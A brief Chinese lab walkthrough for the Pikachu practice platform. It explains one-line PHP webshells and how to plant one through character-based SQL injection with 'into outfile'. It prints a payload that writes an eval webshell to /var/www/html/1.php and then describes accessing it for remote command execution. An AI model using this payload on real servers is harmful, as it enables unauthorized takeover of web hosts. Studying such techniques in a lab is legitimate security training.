sql-inject 通过一句话木马对服务器进行远程控制

1.一句话木马
说简单点，它就是利用各种语言提供的用来执行操作系统命令的函数去构造一个简单的木马程序，我们可以把这个函数直接写到一个文件里去，通过对这个文件的访问，去执行这个函数，向这个函数去传入我们想要进行的操作，这个函数会被执行，然后执行我们想要的操作

2.通过SQL Inject漏洞写入恶意代码
我们可以利用into oufile来传入我们的木马，但并不是很容易就可以传进去的，它是有前提条件的

在满足前提条件的情况下，我们可以开始测试，我们仍然来到pikachu的字符型注入
payload:kobe' union select "<?php @eval($_GET['test'])?.",2 into outfile "/var/www/html/1.php"#
如果我们没有在数据库中关闭这个选项，就会出现这个情况

如果我们满足了所有条件的话，页面会这样显示

我们不用在意这些，现在可以访问一下我们刚放进去的东西

远程的命令执行是一样的

提交完后直接访问一下，之后我们就可以实现远程控制命令执行了